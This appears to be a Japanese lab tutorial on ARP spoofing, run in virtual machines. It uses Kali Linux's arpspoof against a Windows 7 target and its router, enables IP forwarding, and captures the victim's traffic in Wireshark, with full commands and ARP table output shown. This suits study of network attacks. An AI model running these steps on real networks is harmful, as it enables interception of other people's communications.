ARP スプーフィング
ARPの仕様を悪用し
ターゲットのARPテーブルを書き換える
ARPテーブルは
IPアドレスとMACアドレスの対応表
これにより
パケットを意図した端末に送信できる
これにより
監視対象のネットワークで
人為的な通信を作ったり介入したりすることで
パケットキャプチャすることができる
ARPスプーフィングの原理は
ARP要求とARP応答は認証がなく
クライアントはARP要求を送ってなくてもARP要求を受け入れてしまうこと
これを悪用し
ARP要求に
偽のMACアドレスを書き込むことで
ARPテーブルの上書きをすること
つまり通信の横取りができる
とはいっても
webページを開いたときに表示されないではバレる
なので
ターゲットをARPスプーフィングし
ルータに届くパケットを攻撃するものに届くようにし
さらに
ルータもARPスプーフィングして
ターゲットに届くパケットを攻撃するものに届くようにしておき
あとは
両方のパケットを転送することで
バレにくくする
このように中間に入り込んで行うので
中間者攻撃
MITM attack
Man-In-The-Middle attack
と言われる
実際に実験するには
仮想マシンの Windows7 試用版
Kali Linux 仮想マシン
を使う
KaliLinux には arpspoof があり
これを使い
ARPスプーフィングができる
arpspoof を2回実行することで
KaliLinux でIP転送機能を有効化することで
アクティブキャプチャができる
なお Windows7試用版は
ライセンス認証しないと起動後1時間後に
自動的にシャットダウンされるので注意
まず windows7 で
windows キーを押しながら r をおし
cmd を入力
これでコマンドプロンプトが起動するので
arp -a
を実行
デフォルトゲートウェイの
Physical Address を確認しておく
次に KaliLinux で
MACアドレス
IPアドレス
を確認
ip addr show eth0
実行結果は
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether 08:00:27:f8:42:a7 brd ff:ff:ff:ff:ff:ff inet 192.168.1.134/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0 valid_lft 86099sec preferred_lft 86099sec inet6 fe80::a00:27ff:fef8:42a7/64 scope link noprefixroute valid_lft forever preferred_lft forever
ip コマンドについては
ip コマンドチートシート for Red Hat Enterprise Linux
を参考に
そして ルータのIPの確認
route -n
結果は
Kernel IP routing table Destination Gateway Genmask Flags Metric Ref Use Iface 0.0.0.0 192.168.1.1 0.0.0.0 UG 100 0 0 eth0 192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
routeコマンドのオプションで
-n を使うと名前解決を行わない
その他オプションについては
routeの主なオプション
を参考に
次にIP転送機能の有効化
1を設定すると有効化
0を設定すると無効になる
echo 1 > /proc/sys/net/ipv4/ip_forward
次に windows7 で wireshark の起動
これでパケットの流れを把握する
次に KaliLinux で
windows7 へ偽情報を送る
arpspoof コマンドで
-i でインターフェース指定
-t でターゲット端末のIPと 書き換えるIPを指定
arpspoof -i eth0 -t 192.168.1.174 192.168.1.1
を実行
この後に windows7 でコマンドプロンプトで
arp -a
を実行すると
Interface: 192.168.1.174 --- 0xf Internet Address Physical Address Type 192.168.1.1 60-45-cb-67-e6-38 dynamic 192.168.1.8 4c-17-44-27-c2-e4 dynamic 192.168.1.96 08-84-9d-2a-ee-68 dynamic 192.168.1.255 ff-ff-ff-ff-ff-ff static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static 255.255.255.255 ff-ff-ff-ff-ff-ff static
から
Interface: 192.168.1.174 --- 0xf Internet Address Physical Address Type 192.168.1.1 08-00-27-f8-42-a7 dynamic 192.168.1.8 4c-17-44-27-c2-e4 dynamic 192.168.1.96 08-84-9d-2a-ee-68 dynamic 192.168.1.134 08-00-27-f8-42-a7 dynamic 192.168.1.255 ff-ff-ff-ff-ff-ff static 224.0.0.2 01-00-5e-00-00-02 static 224.0.0.22 01-00-5e-00-00-16 static 224.0.0.251 01-00-5e-00-00-fb static 224.0.0.252 01-00-5e-00-00-fc static 239.255.255.250 01-00-5e-7f-ff-fa static 255.255.255.255 ff-ff-ff-ff-ff-ff static
と変化しているのがわかる
変わっているのは
192.168.1.1 の Physical Address の部分
この変更された値は KaliLinux のMACアドレスの値
この状態で windows7 で wireshark を起動し
arp で絞り込むと
偽情報を含むARP要求が届いているのがわかる
これでwindows7 の通信するルータのMACアドレスを書き換えたので
次にルータに対しても同様に書き換えをするので
KaliLinux で
ctrl + alt +t で新しい端末を起動
arpspoof -i eth0 -t 192.168.1.1 192.168.1.174
を実行することで
ルータの windows7 のMACアドレスを
KaliLinux に書き換える
あとは Wireshark を起動し
windows7 でwebサイトをみたり
ネットに繋いだりすると
その通信内容をキャプチャすることができる
試しに wireshark で http に絞ってみるとその内容をみることができる
なお正常な値に戻すには
arpspoof を
ctrl + c で停止させればいい
これで再度 windows7 で
arp -a
を実行すると元の値に戻っているのがわかる
最後に KaliLinux でIP転送機能をOFFにする
echo 0 > /proc/sys/net/ipv4/ip_forward